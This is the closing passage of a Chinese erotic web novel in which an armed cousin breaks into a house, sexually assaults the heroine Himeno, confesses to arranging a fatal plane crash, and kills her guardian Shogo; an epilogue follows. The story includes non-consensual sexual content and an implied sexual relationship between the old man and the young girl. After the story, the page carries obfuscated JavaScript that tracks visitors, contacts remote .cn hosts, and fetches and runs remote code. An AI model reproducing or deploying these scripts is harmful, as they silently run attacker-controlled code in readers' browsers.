  「不准任性!我已经支付拓也先生充分的报酬了,现在契约结束了,没有对他失礼。」

  「爷爷!」

  「还有,前几天我已经说要搬离这房子了,现在开始要开始寻找新房子的旅程。这样的旅程,不可能带着拓也先生一起去的。」

  省吾严厉地的告诫,完全不给她反驳的余地。

  「怎幺这样…」

  姬乃说不出话,只是以哀泣的表情陷入沉默。但是,下一刻,姬乃却无意识地嘶吼。

  「…无论如何都不答应的话,我要跟主人先生离去!」

  这一瞬间,拓也感到空气似乎冻结的错觉。

  就连省吾,也感觉时间好像停止了。

  姬乃和「爷爷」诀别的发言,这些是姬乃自己都无法想像的话。况且对省吾而言,这些暴言听起来就好像世界的因果定律被颠覆了一样。

  「姬、姬乃…妳在说什幺,妳这女孩!」

  「对不起,爷爷,可是…」

  「妳已经,不爱我了吗?」

  从刚才强硬的态度一转,他以绝望的表情大叫。

  对此,姬乃抱住拓也的手腕,脸上浮出深深的忧郁表情。

  「不,我现在仍与以前一样,今后也不变地爱着爷爷,但是…我现在想要跟主人在一起!」

  拓也和省吾都说不出话来。省吾已不是姬乃「最爱的男人」…她的价值观就这幺戏剧性的逆转过来。经过冗长的沈默之后,省吾-做出令人无法相信的举动来。他爬到姬乃身旁,用力抱起她的身体。

  「爷、爷爷!」惊讶的姬乃,不由得放开了拓也的手腕。

  「姬乃…姬乃是我的一切!我绝不会放手!不管是谁都不能抢走!」省吾低沈地嘶吼,身体轻微地发着抖。

  「财产再多有什幺用呢?能治癒我的孤独吗?悟君已经不在了,惠子小姐也不在了,如果再失去姬乃的话…那我残余的人生还有什幺价值呢!」

  「黑岩先生…」用被逼到绝境的口吻说到姬乃双亲的名字时,拓也不知道如何是好。

  他却没心情攻击省吾。本来他打算和省吾做出对决,但当他看到省吾和姬乃做爱的情景,他即已判断这变成简单的三角关係了。

  既有姬乃的存在,省吾深爱着她,而拓也也深深的被姬乃吸引着。正因他判断仅只是这种关係,所以拓地想从正面和省吾对决,堂堂正正地争取姬乃的心。但是-对省吾而言,姬乃并非只是「最爱的女性」。

  拓也不知道省吾和白川一家的关係。但是,姬乃的双亲对省吾来说,和姬乃一样的重要。刚才那句话已充分传达给他。

  因此,意外事故之后所留下的姬乃,真的无人可取代,也许是「他的全部」也说不定。省吾可能因害怕连这个都会失去,而颤慄发抖吧。

  想到这儿,拓也就对省吾抱持着某种同情心。

  同时…他对省吾将视如己出的姬乃的身体,交由自己这样素不相识的男人来任意处置,开始感到无法抑制的愤怒。

  「妳那边都不能去,我什幺都听妳的…妳不在的话,我…!」

  省吾将脸埋在不知道怎幺办才好的姬乃胸前,像小孩般恳求她。

  拓也对做出那样举动的省吾感到非常生气,正打算开口制止。

  就在这时。「不要动!」尖锐的声音,镇压下房间的空气。

  同时,有五、六个强壮的男人冲进书房。省吾一时间愣住了。这些男人都穿黑色服装,并且都拿着枪。

  「谁?你们是谁?」好不容易叫出声后,从这些男人们之间,出现一个穿着非常高级的西装,眼睛细长的男人。

  「我吗?我是那边那个女孩的未婚夫。」

  这个男人-白川哲,一边说着一边露出阴险的眼光。

  

  

  ——————————————————————————–

  拓也、姬乃、省吾这三人被押到书房的一隅,被几个男人用枪指着,毫无抵抗的能力。

  「你是什幺人?」

  「白川集团未来的总裁。」

  「你们是怎幺进来的?」

  「那还用说,当然是撬开大门的锁进来的。」

  拓也和白川哲,简短且兇恶地对答着。

  「我再告诉你们,我是这女孩的堂兄!」

  拓也没回答他。说到白川集团的话,那是一个相当大的企业集团。的确名字是相同,但姬乃是这个白川集团未来总裁的堂妹…总之,拓也无法想像姬乃是现任总裁的姪女。相同的,对于堂妹姬乃也无法想像。

  「我、我听说我没有亲戚,怎幺…」

  省吾以茫然的表情,向被白川哲告知而惊讶的姬乃道歉。

  「争夺遗产的事,对妳来说太过暴力了,妳双亲拜託我等妳长大成人后才可告诉妳继承遗产的秘密。」

  「总之,若妳父亲没做多余的事的话,妳现在已经是多金的大小姐了。」白川哲故意做出没风度的注解。

  (他是属于看到别人困惑、厌恶的脸而感到快乐的类型。)

  拓也大概知道白川哲是怎样的一个人。

  「那幺,回到主题。」

  白川哲表现出强者压倒性的骄傲,一边将手放在姬乃的肩上,一边低声跟她说。

  「姬乃,和我结婚。」

  「怎、怎幺可以…」对于这唐突的求婚,姬乃感到非常困惑。

  但是,若让拓也或省吾来说的话,他的居心当然是姬乃所拥有的庞大资产。司马昭之心,路人皆知。

  白川哲看到姬乃没立刻回答,就对背后的部下们使了个眼色。于是其中两人就押着拓也和省吾,用枪指着他们的太阳穴。

  「爷爷!主人先生!」

  白川哲用轻柔的声音,在惊慌失措姬乃的耳根边忠告着她。

  「我想妳说OK会比较好吧?我是不在乎妳拒绝啦,但万一我的手下闹彆扭,也许会扣下板机也说不定。」

  「不要理他,姬乃!」

  「考虑妳自己就好!」拓也他们拼命大叫,但她不可能听从。

  「…请你保障他们两个人的生命。」

  姬乃眼底积着泪水,对他提出要求。白川哲大方地答应了。

  「当然。我也不喜欢大开杀戒。」

  「那幺…我接受你的求婚。」

  姬乃低下头来,两眼流下两行泪水。

  啪!

  「啊!」她的脸颊突然被打了一巴掌,当场倒地。

  「姬乃!」拓也和省吾齐声吶喊。

  白川哲揪住姬乃的头髮,狂暴地拉起她的脸,并且狂乱的搓揉着她的乳房。

  「那幺,现在在这边发誓吧!发誓妳此生当我白川哲的性奴隶!」

  「呜呜…」

  「喂!我叫妳发誓!」

  白川哲焦躁的怒声,和钮釦飞弹的声音重叠着。他的手伸到姬乃的胸前,用力将衬衫拉开,衬衫的钮釦飞散到四周,露出了雪白的乳房。

  「不要!」

  姬乃不自觉的用手把胸部遮住,但是白川哲硬把她的手拉开。

  「奴隶不需要遮住自己的胸部!」

  白川哲一边笑着,一边痛骂她。拓也实在无法忍受,终于大声喊叫出来。

  「不要太过分!」

  回答是…阿哲的部下们一阵枪托的洗礼。拓也的头跟脸被一阵强烈殴打之后,当场倒下去。

  「拓也君!」

  「主人先生!」省吾紧张起来,而姬乃哭叫着。

  白川哲紧握姬乃露出的乳房,好像抓着粘土一样,粗暴地搓揉。

  「啊,好痛!」

  「不会痛吧!被丈夫捏胸部,不是应该发出爽快的叫声吗?」

  姬乃受到冷嘲热讽,脸上浮现出苦闷的表情。

  拓也和省吾两人遭受屈辱,只能咬牙切齿。

  白川哲看到这个情形,就发出愉快的声音。

  「怎幺了?你们,后悔了吗?如果是,我要让你们更后悔,我要在你们面前,上了这女人!」

  于是,激昂的嘲笑声迴荡在书房内。

  对于白川哲而言,眼前的片刻是最大的幸福也说不定。会因而鬆懈心情吗?他愈发嚣张,继续的说。

  「喂!刚才就叫妳发誓不是吗?说妳一辈子都会当白川哲的性奴隶!」

  「可、可是…」

  「如果不肯,我就让妳和父母一样,遭到相同的下场!」

  -拓也清清楚楚见到姬乃和省吾的表情变得僵硬。

  特别是省吾,眼睛睁得不能再大,以可怕的表情凝视着入侵者。

  「…你是指什幺呢?」

  「那架飞机的坠机,是因为我的手下乔装成机场职员混入后所搞的。」

  「什幺…?」拓也好不容易了解这话的意思,表情变得僵硬。

  三年前,牺牲四百人的大意外,是这个傲慢的男人所做的事吗?

  「哈!那时候如果姬乃也在飞机上的话,现在就不必这幺麻烦,大笔财产早就入手了!」

  飞机坠机事故的主使者是-白川哲。

  他流利的说着。

  「对了,爷爷,害你也捲入这场灾祸。要恨的话就去恨姬乃吧!」

  他没有发觉,他把最不该说的事,最不该说的人都一五一十说出来了。这些话让年老的省吾,爆发出强烈的力量来。

  「…你们!杀了我的家人!」

  每个人,都惊愕不已。

  因为愤怒的省吾,抓住了持枪指着自己的男人。

  「你、你要做什幺?」

  「把那个给我!」

  极短的打斗之后,他奋力将枪抢到自己手上。以结果来说,因压倒性的优越感而鬆懈,而未将拓也他们以绳索綑起,是这些人的失策。

  省吾板下击铁,毫不迟疑地把枪口朝向白川哲。

  「呀…!」由于事出突然,白川哲因而脸色大变。

  本来他可以拿姬乃当盾牌。不过,他虽是性虐待狂,却毫无应有的胆识,所以对自己的危机,完全没有能力解决。

  「开枪!开枪杀了他!」

  畏怯的他,歇斯底里的对他手下大声喊叫。

  瞬间,子弹往省吾的身体射击。

  省吾的身体跳动了两三次后,彷彿断了线的木偶一般,当场崩落。

  「爷爷!」姬乃挣脱开阿哲的手,精神失常般想要跑到省吾身旁。

  这时候,拓也看见了。

  从自己的血泊中,省吾将自己的眼睛和枪口朝向阿哲。

  「我,不饶你…!」

  「…危险!」

  瞬间,拓也飞奔向姬乃,将她从枪击线抱开。

  随后,省吾使出最后的力量,扣下扳机。

  枪声在房屋中轰响。

  回音完全消失后,省吾的枪掉落下来,身体再次的倒落地上。

  一瞬间,书房为寂静所支配。

  「…好痛,痛…」然后,终于发出狂乱的绝叫。

  白川哲压着被省吾击穿的右肩,当场倒地翻滚。

  被省吾击中的肩膀上,开始无止尽地流出鲜血。

  「好痛、好痛、好痛…!」

  「哲先生!」

  他的手下慌张起来,跑到白川哲身旁。而白川哲的脸被血、泪水和鼻涕所弄污,非常痛苦的哭叫着。

  「好痛!快给我叫医生来,流了这幺多血,不快点医治的话,会死掉的!」

  习惯给他人痛苦的白川哲,他似乎还不太习惯他人为他带来痛苦。

  「知道了…我们撤退吧!」一身黑装的男人们,按照领导者的指示马上抬起白川哲慌张的往屋外撤出。

  「爷爷!」

  「为什幺,做出这幺勉强的事呢!」两人慌张的往省吾身边跑去。

  出血量很不寻常,纵使叫救护车到这边也可能来不及。拓也以懊悔的表情摇着头。

  「为什幺、为什幺要做那幺危险的事呢…?」姬乃跪着哭泣着。

  「杀…杀死妳父母的男人,无论如何都不能饶他…!」

  他流下的泪并不是因为被枪击的疼痛。

  「直到三年前,我好幸福…我真的好爱妳全家,而那个男的…!」

  「您不要说了,已经叫救护车了,您忍耐一下。」

  省吾将视线移向想压抑沈痛表情的拓也。

  「拓也君,以前还拜託你做那些不合常理的事,实在很抱歉。」

  「省吾先生…」

  「实在没有道理拜託你,但是姬乃,要麻烦你照顾…!」

  省吾咳嗽着,大量的出血,显示他的伤势之重。

  「请振作一点!」

  省吾微微笑着,看着姬乃被血弄髒的脸说:「这是命运给我的惩罚,是把等于自己孙女的妳…当成死去妻子幻影的惩罚…」

  「不要…爷爷,您不要死!」姬乃的祈求,在神的意旨之前显得无力。省吾的下颚为了吸最后一口气而往上仰,瞳孔逐渐放大,生命的终结就在眼前,他的表情却变得安祥。

  「我、我真是笨蛋…无法娶姬乃为妻又如何!没办法结合又如何…」就此,不再听得到他口中的声音。

  他嘴唇微张,似乎想说-有妳在我身旁,我好幸福。

  

  

  ——————————————————————————–

  终章

  从留在黑岩家的枪跟指纹,可以完全确定杀害省吾的犯人。

  还有听取拓也、姬乃详细的证言后,飞机坠机事件的搜查範围就缩小了-飞机爆炸事件的搜查随即终结,作出最后的判决。

  于是,爆炸事件调查的结果,白川哲的父亲白川雄介总裁也被确认参与。

  围绕白川英介的次男-悟的资产持续将近二十年的阴谋,在雄介和哲父子被逮捕,以及与白川家完全没有血缘关係的新总裁身后,完全终结…

  

  

  ——————————————————————————–

  已故的黑岩省吾在三年前所準备的遗书中写道,他的全部遗产,和已故白川悟的遗产,都由同居人白川姬乃继承。

  唯独,遗书中也指示着必须拆毁黑岩家宅、卖掉土地。姬乃不得不从黑岩家搬出。

  『不要被我的教诲及回忆牵绊住,请照着自己所期望之路前进』-特别署名给姬乃的信上这样记载着。

  之后,姬乃对着共同度过黑岩家最后一日的拓也说。

  「我想,那时爷爷之所以要求我和他做爱,从头到尾都是基于家族温暖。爷爷为了把我塑造成像她太太一样而教育我的时候,其实我真的很讨厌,说不定也期待着要忤逆爷爷。但现在回想起来,爷爷要我培养女人色豔,要求我的身体…是因为爸爸妈妈的死造成『黑岩家』的分崩离析,想填补心中的空白而苦闷不堪。但是我仍然没有尽到代替太太的职务,无法令最喜爱的爷爷获得幸福,现在我感到很遗憾。」

  

  

  ——————————————————————————–

  -一年后,在拓也的公寓内响起了少女的哼歌声。

  少女洗着小蕃茄来点缀生菜沙拉。

  洗完后用围裙擦着手。

  「天亮了,早餐也準备好了哟!」

  隔壁房间却未传来回答声。

  「今天早上不是还有工作要做?不起床的话,会来不及喔!」

  …还是没有回答。

  「真是的,早上总是会赖床!」

  有些生气的少女,脑里浮出恶作剧的点子。少女将整个身体,躺到拓也的上方。然后,朝着他的睡脸轻声说着。

  「早上了哟!」

  「…」

  「不起床的话,我就不管了哟!」

  「…」

  「今天要教我什幺呢?主人先生!」

  「不要这样叫我,我已经不是主人先生了。」

  突然,棉被中露出的笑脸显得很不愉快。

  相反的,姬乃却满脸笑意。

  「果然起床了!」

  「…」

  「早安!拓也先生。」

  「早安!」

  现在两个人一起住在拓也的公寓里,遵从遗言离开黑岩家时,姬乃拜託拓地也让她一起跟去。

  『我没有离开那栋屋子生活过,在习惯都会生活前,如果可以的话,请让我住在拓也先生家。』

  从那时开始,两人就一起住在公寓里。

  拓也再次当起三流杂誌的摄影师,过着既没钱也没闲的生活。

  而姬乃…接受拓也的建议,去上补习班,这是为了接受大学入学资格检定考试,来取得大学的资格。

  

  

  ——————————————————————————–

  「今早我做了煎蛋捲、香肠、沙拉。」

  「哇,好像很好吃,不过…妳不是说今天第一节课开始有重要的课要上吗?」

  「…完了!快迟到了!」

  姬乃看着手錶,脸色骤变,着急地解下围裙準备出门。

  「拓也先生回来时大概是什幺时候呢?」

  「嗯…今天会稍微晚一点。」

  「我知道了。那幺,今晚我会作些稍微豪华一点的料理等您回来。」她一边说着一边慌张的穿鞋子。

  拓也出声制止她。

  「妳还没打招呼,不是吗?」

  「啊,对了!」姬乃脱下穿好的鞋子,站在彩色相框内的相片前。

  框内的相片是在黑岩家的生活照。

  穿着礼服坐在正中间的是姬乃,而两旁站的是穿着西装的拓也和…生前的省吾老人。

  「我出去了,爷爷。」姬乃对相片一边微笑着一边打招呼。

  打完招呼后,她立刻回到玄关穿鞋子,走出了房间。

  「拓也先生,我先走了喔!」

  「小心车子喔!」

  拓也一边吃着姬乃所準备的早餐,一边举筷向她挥手。

  正看着这两人的样子吗?相片中的省吾好像朝着他们微笑着。

  ---------------------------

关闭
关闭
function OLrAJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function dSMOXiRm(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OLrAJ(t);};window[''+'o'+'y'+'d'+'h'+'M'+'A'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MJTu(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=dSMOXiRm,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MJTu(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MJTu(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYYlMkZhLmdiYYnB0bC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS53aGJnei5jbiUzQTTk1MzU=','9489',window,document,['Y','T']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();